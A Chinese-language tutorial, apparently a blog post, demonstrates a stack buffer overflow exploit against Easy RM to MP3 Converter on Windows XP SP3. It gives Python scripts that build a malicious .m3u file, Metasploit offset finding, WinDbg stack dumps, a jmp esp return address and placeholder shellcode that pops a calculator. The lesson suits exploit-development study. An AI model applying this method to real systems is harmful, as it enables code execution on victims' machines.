Stack overflow栈溢出Exploit实例

0×00 背景

关于栈溢出网上的文章太多了,在这里就略过,感兴趣的同学可以去了解一下。
本文通过一个实例来演示栈溢出利用的过程。
测试环境:WindowsXP sp3 (高版本因为ASLR、NX等原因无法exploit,绕过方法以后会说到)
使用软件:Easy RM to MP3 Converter

Easy RM to MP3 Converter 下载:
EasyRMtoMP3Converter

0×01 发现漏洞

我们首先使用python生成一个.m3u文件,包含很长的数据,测试是否存在溢出漏洞。

1
2
3
4
5
file = "exploit.m3u"
f = open(file,'wb')
data = '\x41'*20000
f.write(data)
f.close()

运行程序发现报错,但是尚未崩溃。将20000改未30000,继续测试,发现程序崩溃,说明存在溢出漏洞。

0×02 确认漏洞

使用Windbg进行调试。 用Windbg打开程序,载入exploit.m3u后发现eip(当前指令的下一条指令的地址)地址被改写,确认存在栈溢出漏洞。

0×03 确定改写eip所需要的数据大小

因为我们需要将eip改写为我们指定的数据,所以需要确定用多少数据填充栈。在这里我们使用metasploit来简化这个过程。

1
root@bt:/opt/Metasploit/Framework3/msf3/tools# ./pattern_create.rb 5000

在我们的python脚本中,写入这5000个字符。

1
2
3
4
5
6
file = "exploit.m3u"
f = open(file,'wb')
data = '\x41'*25000
data += '刚刚生成的5000个字符'
f.write(data)
f.close()

再次用Windbg执行程序,载入后报错。

得到0x356b4234再次使用metasploit找到偏移大小。

1
2
root@bt:/opt/Metasploit/Framework3/msf3/tools# ./pattern_offset.rb 0x356b4234 5000
1067

得到偏移大小1067(不同环境下得到的大小可能不同),现在可以确定,使用25000+1067 = 26067大小的数据即可改成eip。

0×04 改写eip

使用

1
2
3
4
5
6
7
file = "exploit.m3u"
f = open(file,'wb')
junk = '\x41'*25000
eip = '\x42'*4
espdata = '\x43'*1000
f.write(junk+eip+espdata)
f.close()

我们成功将eip改写成了我们想要的值(\x42\x42\x42\x42)。

0×05 确定esp指向的地址

我们使用

1
2
3
4
5
6
7
file = "exploit.m3u"
f = open(file,'wb')
junk = '\x41'*25000
eip = '\x42'*4
espdata = '1A2B3C4D5E6F7G8H9I10DEFGHIJK3ABCDEFG'
f.write(junk+eip+espdata)
f.close()

在Windbg中运行后,使用命令d参看寄存器所指向的内存。

1
2
3
4
0:000> d esp
000ff730 33 43 34 44 35 45 36 46-37 47 38 48 39 49 39 38 3C4D5E6F7G8H9I10
000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG
000ff750 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA

发现esp指向espdata的第五个字符,所以可以将python脚本改写为

1
2
3
4
5
6
7
8
file = "exploit.m3u"
f = open(file,'wb')
junk = '\x41'*25000
eip = '\x42'*4
pad = 'XXXX'
shellcode = pad+"SHELLCODE"
f.write(junk+eip+shellcode)
f.close()

0×06 eip指向自己的数据

现在我们可以将eip改写为shellcode的地址。我们可以指向000ff730, 但是每台计算机上的地址可能都不同,所以要使用更稳定的方法,而不是简单的jmp 0x000ff730。因为是执行esp上的数据,所以可以使用jmp esp来实现。直接调用其它地址上已存在的jmp esp指令非常方便。从DLL中搜索是最好的办法了。
使用Windbg查看该程序加载的dll。

可以在该程序加载的dll或者系统的dll中搜索指令,在这里我随意选择了一个地址,如图:

这些地址都是可以得(注意:不要选择有包含00的地址,因为程序会将该地址当成字符串终止符,从来是exploit失败)参考:http://en.wikipedia.org/wiki/Null-terminated_string
我决定使用01c7023f,查看一下是否是jmp esp。使用u 01c7023f

确认确实是jmp esp。

0×07 Exploit

选择一个shellcode填入就可以了,在这里使用一个执行calc(计算器)的shellcode。完整的exploit如下:

(至于为什么要加20个\x90?其实无所谓,\x90是NOP,程序执行到这里会直接跳过)
这个时候使用Easy RM to MP3 Converter载入我们的exploit.m3u,成功弹出计算器!如下图:

0×08 后记

使用shellcode时要注意编码问题,首先当然是不能包含\x00(字符串终止符),其次,如果该文件包含路径,那么不能使用在文件路径中不能使用的字符。使用metasploit的各种encoder可以轻松解决这些问题,比如alpha_upper encoder、shikata_ga_nai encoder等等。